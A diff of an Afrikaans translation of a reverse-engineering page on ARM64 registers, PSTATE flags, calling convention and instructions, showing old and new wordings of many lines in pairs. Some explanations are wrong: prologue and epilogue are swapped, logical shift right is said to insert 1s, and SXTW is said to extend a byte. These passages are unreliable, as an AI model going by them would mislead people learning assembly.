* **`x16`** word gebruik as die **stelseloproepnommer** vir die **`svc`**-instruksie in **macOS**.
|
||||
5. **`x18`** - **Platformregister**. Dit kan as 'n algemene doelregister gebruik word, maar op sommige platforms is hierdie register gereserveer vir platformspefieke gebruike: Wysiger na die huidige draadomgewingsblok in Windows, of om te wys na die tans **uitvoerende taakstruktuur in die Linux-kernel**.
|
||||
6. **`x19`** tot **`x28`** - Hierdie is callee-bewaarde registers. 'n Funksie moet hierdie registers se waardes vir sy aanroeper bewaar, sodat hulle in die stok gestoor en herstel word voordat teruggekeer word na die aanroeper.
|
||||
7. **`x29`** - **Raamregister** om die stokraam dop te hou. Wanneer 'n nuwe stokraam geskep word omdat 'n funksie geroep word, word die **`x29`**-register in die stok gestoor en die nuwe raamadres (**`sp`**-adres) word in hierdie register gestoor.
|
||||
7. **`x29`** - **Raamregister** om die stokraam dop te hou. Wanneer 'n nuwe stokraam geskep word omdat 'n funksie geroep word, word die **`x29`**-register in die stok gestoor en die nuwe raamregisteradres (die **`sp`**-adres) word in hierdie register gestoor.
|
||||
* Hierdie register kan ook as 'n **algemene doelregister** gebruik word, alhoewel dit gewoonlik as verwysing na **plaaslike veranderlikes** gebruik word.
|
||||
8. **`x30`** of **`lr`**- **Skakelregister**. Dit hou die **terugvoeradres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`**-waarde in hierdie register te stoor.
|
||||
* Dit kan ook soos enige ander register gebruik word.
|
||||
* As die huidige funksie 'n nuwe funksie gaan roep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stok stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer spasie en kry nuwe `fp`) en dit aan die einde herstel, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herstel `fp` en `lr` en keer terug).
|
||||
9. **`sp`** - **Stokaanwyser**, gebruik om die boonste deel van die stok dop te hou.
|
||||
* die **`sp`**-waarde moet altyd ten minste 'n **kwadewoord** **uitlyn** word, anders kan 'n uitlynuitsondering voorkom.
|
||||
10. **`pc`** - **Programteller**, wat na die volgende instruksie wys. Hierdie register kan slegs deur uitsonderingsgenerasies, uitsonderingsterugkeer en takke opgedateer word. Die enigste gewone instruksies wat hierdie register kan lees, is tak met skakelinstruksies (BL, BLR) om die **`pc`**-adres in **`lr`** (Skakelregister) te stoor.
|
||||
11. **`xzr`** - **Nulregister**. Ook genoem **`wzr`** in sy **32**-bis registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer met behulp van **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**).
|
||||
10. **`pc`** - **Programteller**, wat na die volgende instruksie wys. Hierdie register kan slegs bygewerk word deur uitsonderingsgenerasies, uitsonderingsterugkeer en takke. Die enigste gewone instruksies wat hierdie register kan lees, is tak met skakelinstruksies (BL, BLR) om die **`pc`**-adres in **`lr`** (Skakelregister) te stoor.
|
||||
11. **`xzr`** - **Nulregister**. Ook genoem **`wzr`** in sy **32**-bis registervorm. Dit kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer met behulp van **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**).
|
||||
|
||||
Die **`Wn`**-registers is die **32-bis**-weergawe van die **`Xn`**-register.
|
||||
Die **`Wn`** registers is die **32-bis** weergawe van die **`Xn`** register.
|
||||
|
||||
### SIMD- en Drijwende-kommaregisters
|
||||
### SIMD en Drijfpuntregisters
|
||||
|
||||
Daar is nog **32 registers van 128-bis lengte** wat gebruik kan word in geoptimeerde enkele instruksie multiple data (SIMD) operasies en vir die uitvoer van drijwende-komma-aritmetika. Hierdie word die Vn-registers genoem, alhoewel hulle ook in **64**-bis, **32**-bis, **16**-bis en **8**-bis kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem.
|
||||
Daar is ook nog **32 registers van 128-bis lengte** wat gebruik kan word in geoptimeerde enkele instruksie multiple data (SIMD) operasies en vir die uitvoer van drijfpuntberekeninge. Hierdie word die Vn-registers genoem, alhoewel hulle ook in **64**-bis, **32**-bis, **16**-bis en **8**-bis kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem.
|
||||
### Sisteemregisters
|
||||
|
||||
**Daar is honderde sisteemregisters**, ook genoem spesiale doelregisters (SPRs), wat gebruik word vir **monitoring** en **beheer** van **verwerkers** se gedrag.\
|
||||
Hulle kan slegs gelees of ingestel word met die toegewyde spesiale instruksie **`mrs`** en **`msr`**.
|
||||
|
||||
Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word dikwels gevind tydens omgekeerde ingenieurswese. Die `EL0` agtervoegsel dui aan die **minimale uitsondering** waarvandaan die register toeganklik is (in hierdie geval is EL0 die gewone uitsondering (bevoegdheid) vlak waar gewone programme mee hardloop).\
|
||||
Hulle word dikwels gebruik om die **basisadres van die draadlokale stoor**-gebied van geheue te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 hardloop, maar die tweede kan gelees word van EL0 en geskryf word van EL1 (soos kernel).
|
||||
Hulle word dikwels gebruik om die **basisadres van die draadlokale stoor**-gebied van geheue te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 hardloop, maar die tweede kan gelees word vanaf EL0 en geskryf word vanaf EL1 (soos die kernel).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0`
|
||||
* `msr TPIDR_EL0, X0 ; Skryf x0 in TPIDR_EL0`
|
||||
* `msr TPIDR_EL0, X0 ; Skryf x0 na TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** bevat verskeie proseskomponente geserializeer in die bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register, waar X die **toestemming** **vlak van die geaktiveerde** uitsondering is (dit maak dit moontlik om die prosesstaat te herstel wanneer die uitsondering eindig).\
|
||||
**PSTATE** bevat verskeie proseskomponente wat geserializeer is in die bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register, waar X die **toestemming** **vlak van die geaktiveerde** uitsondering is (dit maak dit moontlik om die prosesstaat te herstel wanneer die uitsondering eindig).\
|
||||
Dit is die toeganklike velde:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
|
@ -86,7 +86,7 @@ Dit is die toeganklike velde:
|
|||
* Die som van twee positiewe getalle lewer 'n negatiewe resultaat op.
|
||||
* Die som van twee negatiewe getalle lewer 'n positiewe resultaat op.
|
||||
* By aftrekking, wanneer 'n groot negatiewe getal afgetrek word van 'n kleiner positiewe getal (of andersom), en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie.
|
||||
* Duidelik weet die verwerker nie of die operasie geteken is of nie, dus sal dit C en V in die operasies nagaan en aandui of 'n dra gedoen is in die geval dit geteken of ongeteken was.
|
||||
* Duidelik weet die verwerker nie of die operasie geteken is of nie, dus sal dit C en V in die operasies nagaan en aandui of 'n dra gedra het in die geval dit geteken of ongeteken was.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nie al die instruksies werk hierdie vlagte by nie. Sommige soos **`CMP`** of **`TST`** doen dit, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook.
|
||||
|
|
@ -94,15 +94,15 @@ Nie al die instruksies werk hierdie vlagte by nie. Sommige soos **`CMP`** of **`
|
|||
|
||||
* Die huidige **registerbreedte (`nRW`) vlag**: As die vlag die waarde 0 behou, sal die program in die AArch64-uitvoeringsstaat hardloop sodra hervat.
|
||||
* Die huidige **Uitsonderingsvlak** (**`EL`**): 'n Gewone program wat in EL0 hardloop, sal die waarde 0 hê
|
||||
* Die **enkele stap**-vlag (**`SS`**): Gebruik deur afbrekers om enkelstap te stel deur die SS-vlag na 1 binne **`SPSR_ELx`** deur 'n uitsondering. Die program sal 'n stap hardloop en 'n enkelstap-uitsondering uitreik.
|
||||
* Die onwettige uitsonderingsstaatvlag (**`IL`**): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige uitsonderingsvlakoorplasing uitvoer, hierdie vlag word na 1 gestel en die verwerker veroorsaak 'n onwettige toestand-uitsondering.
|
||||
* Die **`DAIF`**-vlagte: Hierdie vlagte maak dit vir 'n bevoorregte program moontlik om sekere eksterne uitsonderings selektief te maskeer.
|
||||
* As **`A`** 1 is, beteken dit dat **asynchrone afbreek** geaktiveer sal word. Die **`I`** konfigureer om te reageer op eksterne hardeware **Onderbrekingsversoeke** (IRQ's). en die F is verwant aan **Vinnige Onderbrekingsversoeke** (FIR's).
|
||||
* Die **stapelwyservlagte** (**`SPS`**): Bevoorregte programme wat in EL1 en hoër hardloop, kan wissel tussen die gebruik van hul eie stapelwyservlagregister en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`). Hierdie skakeling word uitgevoer deur te skryf na die **`SPSel`** spesiale register. Dit kan nie vanaf EL0 gedoen word nie.
|
||||
* Die **enkele stap vlag** (**`SS`**): Gebruik deur afsonderlike stappers om deur die SS-vlag na 1 binne **`SPSR_ELx`** 'n uitsondering te stel. Die program sal 'n stap hardloop en 'n enkele stap-uitsondering uitreik.
|
||||
* Die **ongeldige uitsonderingstoestandvlag** (**`IL`**): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige uitsonderingsvlakoorplasing uitvoer, hierdie vlag word na 1 gestel en die verwerker veroorsaak 'n onwettige toestand-uitsondering.
|
||||
* Die **`DAIF`** vlagte: Hierdie vlagte maak dit vir 'n bevoorregte program moontlik om sekere eksterne uitsonderings selektief te maskeer.
|
||||
* As **`A`** 1 is, beteken dit dat **asynchrone afbreek** geaktiveer sal word. Die **`I`** konfigureer om te reageer op eksterne hardeware **Onderbrekingsversoeke** (IRQ's). en die F is verband hou met **Vinnige Onderbrekingsversoeke** (FIR's).
|
||||
* Die **stapelwyservlagte** (**`SPS`**): Bevoorregte programme wat in EL1 en hoër hardloop, kan wissel tussen die gebruik van hul eie stapelwysigerregister en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`). Hierdie skakeling word uitgevoer deur te skryf na die **`SPSel`** spesiale register. Dit kan nie vanaf EL0 gedoen word nie.
|
||||
|
||||
## **Oproepkonvensie (ARM64v8)**
|
||||
|
||||
Die ARM64 oproepkonvensie spesifiseer dat die **eerste agt parameters** na 'n funksie oorgedra word in registers **`x0` tot `x7`**. **Addisionele** parameters word op die **stapel** oorgedra. Die **terugkeer**-waarde word teruggevoer in register **`x0`**, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet behou word oor funksie-oproepe.
|
||||
Die ARM64-oproepkonvensie spesifiseer dat die **eerste agt parameters** na 'n funksie oorgedra word in registers **`x0` tot `x7`**. **Addisionele** parameters word op die **stapel** oorgedra. Die **terugkeer**-waarde word teruggevoer in register **`x0`**, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet behou word oor funksie-oproepe.
|
||||
|
||||
Wanneer 'n funksie in samestelling lees, soek na die **funksieproloog en epiloog**. Die **proloog** behels gewoonlik **die berging van die raamwyser (`x29`)**, **opstel** van 'n **nuwe raamwyser**, en **toekenning van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gebergde raamwyser** en **terugkeer** van die funksie.
|
||||
|
||||
|
|
@ -114,13 +114,13 @@ Swift het sy eie **oproepkonvensie** wat gevind kan word op [**https://github.co
|
|||
|
||||
ARM64-instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar **`opcode`** die **operasie** is wat uitgevoer moet word (soos `add`, `sub`, `mov`, ens.), **`dst`** is die **bestemmingsregister** waar die resultaat gestoor sal word, en **`src1`** en **`src2`** is die **bronregisters**. Onmiddellike waardes kan ook gebruik word in plek van bronregisters.
|
||||
|
||||
* **`mov`**: **Beweeg** 'n waarde van een **register** na 'n ander.
|
||||
* Voorbeeld: `mov x0, x1` — Dit beweeg die waarde van `x1` na `x0`.
|
||||
* **`ldr`**: **Laai** 'n waarde van **geheue** in 'n **register**.
|
||||
* Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheueposisie wat deur `x1` aangedui word in `x0`.
|
||||
* **`mov`**: **Skuif** 'n waarde van een **register** na 'n ander.
|
||||
* Voorbeeld: `mov x0, x1` — Dit skuif die waarde vanaf `x1` na `x0`.
|
||||
* **`ldr`**: **Laai** 'n waarde vanaf **geheue** in 'n **register**.
|
||||
* Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde vanaf die geheueposisie wat deur `x1` aangedui word in `x0`.
|
||||
* **Offsetmodus**: 'n Offset wat die oorspronklike wyser affekteer, word aangedui, byvoorbeeld:
|
||||
* `ldr x2, [x1, #8]`, dit sal in x2 die waarde van x1 + 8 laai
|
||||
*  `ldr x2, [x0, x1, lsl #2]`, dit sal in x2 'n voorwerp laai van die reeks x0, vanaf die posisie x1 (indeks) \* 4
|
||||
* `ldr x2, [x1, #8]`, dit sal in x2 die waarde vanaf x1 + 8 laai
|
||||
*  `ldr x2, [x0, x1, lsl #2]`, dit sal in x2 'n voorwerp laai vanaf die reeks x0, vanaf die posisie x1 (indeks) \* 4
|
||||
* **Vooraf-geïndekse modus**: Dit sal berekeninge toepas op die oorsprong, die resultaat kry en ook die nuwe oorsprong in die oorsprong stoor.
|
||||
* `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en in x1 die resultaat van `x1 + 8` stoor
|
||||
* `str lr, [sp, #-4]!`, Berg die skakelregister in sp en werk die register sp by
|
||||
|
|
@ -128,10 +128,10 @@ ARM64-instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
|
|||
* `ldr x0, [x1], #8`, laai `x1` in `x0` en werk x1 by met `x1 + 8`
|
||||
* **PC-verwante adressering**: In hierdie geval word die adres om te laai relatief tot die PC-register bereken
|
||||
* `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai relatief tot die huidige PC.
|
||||
* **`str`**: **Stoor** 'n waarde van 'n **register** in **geheue**.
|
||||
* **`str`**: **Stoor** 'n waarde vanaf 'n **register** in **geheue**.
|
||||
* Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheueposisie wat deur `x1` aangedui word.
|
||||
* **`ldp`**: **Laai Paar van Register**. Hierdie instruksie **laai twee registers** van **opeenvolgende geheue**posisies. Die geheue-adres word tipies gevorm deur 'n offset by te voeg by die waarde in 'n ander register.
|
||||
* Voorbeeld: `ldp x0, x1, [x2]` — Dit laai `x0` en `x1` van die geheueposisies by `x2` en `x2 + 8`, onderskeidelik.
|
||||
* Voorbeeld: `ldp x0, x1, [x2]` — Dit laai `x0` en `x1` vanaf die geheueposisies by `x2` en `x2 + 8`, onderskeidelik.
|
||||
* **`stp`**: **Stoor Paar van Register**. Hierdie instruksie **stoor twee registers** na **opeenvolgende geheue**posisies. Die geheue-adres word tipies gevorm deur 'n offset by te voeg by die waarde in 'n ander register.
|
||||
* Voorbeeld: `stp x0, x1, [sp]` — Dit stoor `x0` en `x1` na die geheueposisies by `sp` en `sp + 8`, onderskeidelik.
|
||||
* `stp x0, x1, [sp, #16]!` — Dit stoor `x0` en `x1` na die geheueposisies by `sp+16` en `sp + 24`, onderskeidelik, en werk `sp` by met `sp+16`.
|
||||
|
|
@ -140,42 +140,42 @@ ARM64-instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
|
|||
* **`sub`**: **Aftrek** die waardes van twee register en stoor die resultaat in 'n register.
|
||||
* Kontroleer **`add`** **sintaksis**.
|
||||
* Voorbeeld: `sub x0, x1, x2` — Dit trek die waarde in `x2` van `x1` af en stoor die resultaat in `x0`.
|
||||
* **`subs`** Dit is soos aftrek maar werk die vlag by
|
||||
* **`subs`** Dit is soos sub maar werk die vlag by
|
||||
* **`mul`**: **Vermenigvuldig** die waardes van **twee register** en stoor die resultaat in 'n register.
|
||||
* Voorbeeld: `mul x0, x1, x2` — Dit vermenigvuldig die waardes in `x1` en `x2` en stoor die resultaat in `x0`.
|
||||
* **`div`**: **Deel** die waarde van een register deur 'n ander en stoor die resultaat in 'n register.
|
||||
* Voorbeeld: `div x0, x1, x2` — Dit deel die waarde in `x1` deur `x2` en stoor die resultaat in `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Logiese skuif links**: Voeg 0's by die einde en skuif die ander bits vorentoe (vermenigvuldig met n maal 2)
|
||||
* **Logiese skuif regs**: Voeg 1's by die begin en skuif die ander bits agtertoe (deel deur n maal 2 in onderteken)
|
||||
* **Aritiese skuif regs**: Soos **`lsr`**, maar in plaas van 0's by te voeg as die mees beduidende bit 'n 1 is, word \*\*1's bygevoeg (\*\*deel deur n maal 2 in onderteken)
|
||||
* **Regte rotasie**: Soos **`lsr`** maar wat ookal van regs verwyder word, word by die linkerkant aangeheg
|
||||
* **Regte rotasie met uitbreiding**: Soos **`ror`**, maar met die draagvlag as die "mees beduidende bit". Die draagvlag word dus na bit 31 geskuif en die verwyderde bit na die draagvlag.
|
||||
* **`bfm`**: **Bitveld Verskuif**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **regsomdraai hoeveelheid**.
|
||||
* **Logiese skuif regs**: Voeg 1's aan die begin en skuif die ander bits agtertoe (deel deur n maal 2 in ongetekende vorm)
|
||||
* **Aritiese skuif regs**: Soos **`lsr`**, maar as die mees beduidende bit 'n 1 is, word \*\*1's bygevoeg (\*\*deel deur n maal 2 in getekende vorm)
|
||||
* **Regte skuif regs**: Soos **`lsr`** maar wat ookal van regs verwyder word, word by die linkerkant aangeheg
|
||||
* **Regte skuif met Uitbreiding**: Soos **`ror`**, maar met die dra vlag as die "mees beduidende bit". Dus word die dra vlag na bit 31 geskuif en die verwyderde bit na die dra vlag.
|
||||
* **`bfm`**: **Bitveld Verskuif**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **regte skuif hoeveelheid**.
|
||||
* Bitveld verskuif: `BFM Xd, Xn, #r`
|
||||
* Onderteken Bitveld verskuif: `SBFM Xd, Xn, #r, #s`
|
||||
* Ononderteken Bitveld verskuif: `UBFM Xd, Xn, #r, #s`
|
||||
* Getekende Bitveld verskuif: `SBFM Xd, Xn, #r, #s`
|
||||
* Ongesignde Bitveld verskuif: `UBFM Xd, Xn, #r, #s`
|
||||
* **Bitveld Uithaal en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register.
|
||||
* **`BFI X1, X2, #3, #4`** Voeg 4 bits van X2 vanaf die 3de bit van X1 in
|
||||
* **`BFXIL X1, X2, #3, #4`** Haal vanaf die 3de bit van X2 vier bits uit en kopieer hulle na X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Onderteken-uitbrei 4 bits van X2 en voeg dit in X1 in beginnende by bit posisie 3 deur die regter bits te nulstel
|
||||
* **`SBFX X1, X2, #3, #4`** Haal 4 bits beginnende by bit 3 uit X2, onderteken hulle uit, en plaas die resultaat in X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Teken-uitbrei 4 bits van X2 en voeg dit in X1 in beginnende by bit posisie 3 deur die regter bits te nulstel
|
||||
* **`SBFX X1, X2, #3, #4`** Haal 4 bits beginnende by bit 3 uit X2, teken dit uit, en plaas die resultaat in X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits van X2 en voeg dit in X1 in beginnende by bit posisie 3 deur die regter bits te nulstel
|
||||
* **`UBFX X1, X2, #3, #4`** Haal 4 bits beginnende by bit 3 uit X2 en plaas die nul-uitgebreide resultaat in X1.
|
||||
* **Onderteken Uitbrei Na X:** Brei die teken uit (of voeg net 0's by in die onondertekende weergawe) van 'n waarde om operasies daarmee uit te voer:
|
||||
* **`SXTB X1, W2`** Brei die teken van 'n byte **vanaf W2 tot X1** (`W2` is die helfte van `X2`) om die 64bits te vul
|
||||
* **`SXTH X1, W2`** Brei die teken van 'n 16bit nommer **vanaf W2 tot X1** om die 64bits te vul
|
||||
* **`SXTW X1, W2`** Brei die teken van 'n byte **vanaf W2 tot X1** om die 64bits te vul
|
||||
* **`UXTB X1, W2`** Voeg 0's by (onderteken) na 'n byte **vanaf W2 tot X1** om die 64bits te vul
|
||||
* **`extr`:** Haal bits uit 'n gespesifiseerde **paar register wat gekonkateniseer is**.
|
||||
* Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **konkateniseer W1+W2** en kry **vanaf bit 3 van W2 tot bit 3 van W1** en stoor dit in W3.
|
||||
* **`cmp`**: **Vergelyk** twee register en stel toestandvlagte in. Dit is 'n **alias van `subs`** wat die bestemmingsregister na die nulregister stel. Nuttig om te weet of `m == n`.
|
||||
* **Teken Uitbrei Na X:** Brei die teken uit (of voeg net 0's by in die ongetekende weergawe) van 'n waarde om operasies daarmee uit te voer:
|
||||
* **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 tot X1** (`W2` is die helfte van `X2`) om die 64bits te vul
|
||||
* **`SXTH X1, W2`** Brei die teken van 'n 16bit nommer **van W2 tot X1** om die 64bits te vul
|
||||
* **`SXTW X1, W2`** Brei die teken van 'n byte **van W2 tot X1** om die 64bits te vul
|
||||
* **`UXTB X1, W2`** Voeg 0's by (ongesignde) na 'n byte **van W2 tot X1** om die 64bits te vul
|
||||
* **`extr`:** Haal bits uit 'n gespesifiseerde **paar van gekonkatenserde register**.
|
||||
* Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **konk W1+W2** en kry **vanaf bit 3 van W2 tot bit 3 van W1** en stoor dit in W3.
|
||||
* **`cmp`**: **Vergelyk** twee register en stel toestand vlae in. Dit is 'n **alias van `subs`** wat die bestemmingsregister na die nulregister stel. Nuttig om te weet of `m == n`.
|
||||
* Dit ondersteun dieselfde sintaksis as `subs`
|
||||
* Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestandvlagte dienooreenkomstig in.
|
||||
* Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestand vlae dienooreenkomstig in.
|
||||
* **`cmn`**: **Vergelyk negatief** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun dieselfde sintaksis. Nuttig om te weet of `m == -n`.
|
||||
* **`ccmp`**: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en spesifiek nzcv-bits sal stel.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> as x1 != x2 en x3 < x4, spring na func
|
||||
* Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE`** was, as dit nie was nie, sal die bits `nzcv` na 0 gestel word (wat nie aan die `blt`-vergelyking sal voldoen nie).
|
||||
* Dit is omdat **`ccmp`** slegs uitgevoer sal word as die vorige `cmp` 'n `NE` was, as dit nie was nie, sal die bits `nzcv` na 0 gestel word (wat nie aan die `blt` vergelyking sal voldoen nie).
|
||||
* Dit kan ook gebruik word as `ccmn` (dieselfde maar negatief, soos `cmp` teenoor `cmn`).
|
||||
* **`tst`**: Dit kontroleer of enige van die waardes van die vergelyking beide 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te sien of enige van die bits van die register wat in die waarde aangedui word, 1 is.
|
||||
* Voorbeeld: `tst X1, #7` Kontroleer of enige van die laaste 3 bits van X1 1 is
|
||||
|
|
@ -187,18 +187,18 @@ ARM64-instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
|
|||
* Voorbeeld: `bl myFunction` — Dit roep die funksie `myFunction` op en stoor die terugkeeradres in `x30`.
|
||||
* Let daarop dat dit nie die skakelregister met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat moet terugkeer nie)
|
||||
* **`blr`**: **Sprong** met Skakel na Register, gebruik om 'n **subrutine** te **roep** waar die teiken in 'n **register** gespesifiseer is. Stoor die terugkeeradres in `x30`. (Dit is 
|
||||
* Voorbeeld: `blr x1` — Dit roep die funksie waarvan die adres in `x1` vervat word op en stoor die terugkeeradres in `x30`.
|
||||
* Voorbeeld: `blr x1` — Dit roep die funksie waarvan die adres in `x1` bevat word en stoor die terugkeeradres in `x30`.
|
||||
* **`ret`**: **Terugkeer** van **subrutine**, tipies deur die adres in **`x30`** te gebruik.
|
||||
* Voorbeeld: `ret` — Dit keer terug van die huidige subrutine deur die terugkeeradres in `x30` te gebruik.
|
||||
* **`b.<cond>`**: Voorwaardelike sprong
|
||||
* **`b.eq`**: **Sprong indien gelyk**, gebaseer op die vorige `cmp` instruksie.
|
||||
* Voorbeeld: `b.eq label` — As die vorige `cmp` instruksie twee gelyke waardes gevind het, spring dit na `label`.
|
||||
* **`b.ne`**: **Takel nie gelyk**. Hierdie instruksie kontroleer die toestand vlae (wat deur 'n vorige vergelykingsinstruksie ingestel is), en as die vergelykte waardes nie gelyk was nie, spring dit na 'n etiket of adres.
|
||||
* **`b.ne`**: **Spring indien Nie Gelyk**. Hierdie instruksie kontroleer die toestand vlae (wat deur 'n vorige vergelykingsinstruksie ingestel is), en as die vergelykte waardes nie gelyk was nie, spring dit na 'n etiket of adres.
|
||||
* Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1` nie gelyk was nie, spring dit na `label`.
|
||||
* **`cbz`**: **Vergelyk en Spring op Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, spring dit na 'n etiket of adres.
|
||||
* Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na 'label`.
|
||||
* Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na `label`.
|
||||
* **`cbnz`**: **Vergelyk en Spring op Nie-Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, spring dit na 'n etiket of adres.
|
||||
* Voorbeeld: `cbnz x0, label` — As die waarde in `x0` nie-nul is nie, spring dit na 'label`.
|
||||
* Voorbeeld: `cbnz x0, label` — As die waarde in `x0` nie-nul is nie, spring dit na `label`.
|
||||
* **`tbnz`**: Toets bit en spring op nie-nul
|
||||
* Voorbeeld: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Toets bit en spring op nul
|
||||
|
|
@ -216,8 +216,8 @@ ARM64-instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
|
|||
* **`adrp`**: Bereken die **bladsy-adres van 'n simbool** en stoor dit in 'n register.
|
||||
* Voorbeeld: `adrp x0, simbool` — Dit bereken die bladsy-adres van `simbool` en stoor dit in `x0`.
|
||||
* **`ldrsw`**: **Laai** 'n geteken **32-bis** waarde vanaf geheue en **teken dit uit tot 64** bits.
|
||||
* Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n geteken 32-bis waarde vanaf die geheueposisie wat deur `x1` aangedui word, teken dit uit tot 64 bits, en stoor dit in `x0`.
|
||||
* **`stur`**: **Stoor 'n registerwaarde na 'n geheueposisie**, met 'n offset vanaf 'n ander register.
|
||||
* Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n geteken 32-bis waarde vanaf die geheuelokasie wat deur `x1` aangedui word, teken dit uit tot 64 bits, en stoor dit in `x0`.
|
||||
* **`stur`**: **Stoor 'n registerwaarde na 'n geheuelokasie**, met 'n skuif vanaf 'n ander register.
|
||||
* Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue-adres wat 4 byte groter is as die adres wat tans in `x1` is.
|
||||
* **`svc`** : Maak 'n **sisteemaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, skakel dit van gebruikersmodus na kernelmodus en spring na 'n spesifieke plek in die geheue waar die **kern se sisteemaanroephanterings**-kode geleë is.
|
||||
* Voorbeeld:
|
||||
|
|
@ -257,11 +257,11 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
## AARCH32 Uitvoeringsstatus
|
||||
|
||||
Armv8-A ondersteun die uitvoering van 32-bietjie programme. **AArch32** kan in een van **twee instruksiestelle** hardloop: **`A32`** en **`T32`** en kan tussen hulle skakel via **`interworking`**.\
|
||||
**Bevoorregte** 64-bietjie programme kan die **uitvoering van 32-bietjie** programme skeduleer deur 'n uitsonderingsvlakoorplasing na die laer bevoorregte 32-bietjie uit te voer.\
|
||||
Let daarop dat die oorgang van 64-bietjie na 32-bietjie plaasvind met 'n laer van die uitsonderingsvlak (byvoorbeeld 'n 64-bietjie program in EL1 wat 'n program in EL0 aanhits). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme se CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** wat in A32 of T32 binnegaan, afhangende van CPSR\*\*.\*\*
|
||||
**Bevoorregte** 64-bietjie programme kan die **uitvoering van 32-bietjie** programme skeduleer deur 'n uitsonderingsvlak-oordrag na die laer bevoorregte 32-bietjie uit te voer.\
|
||||
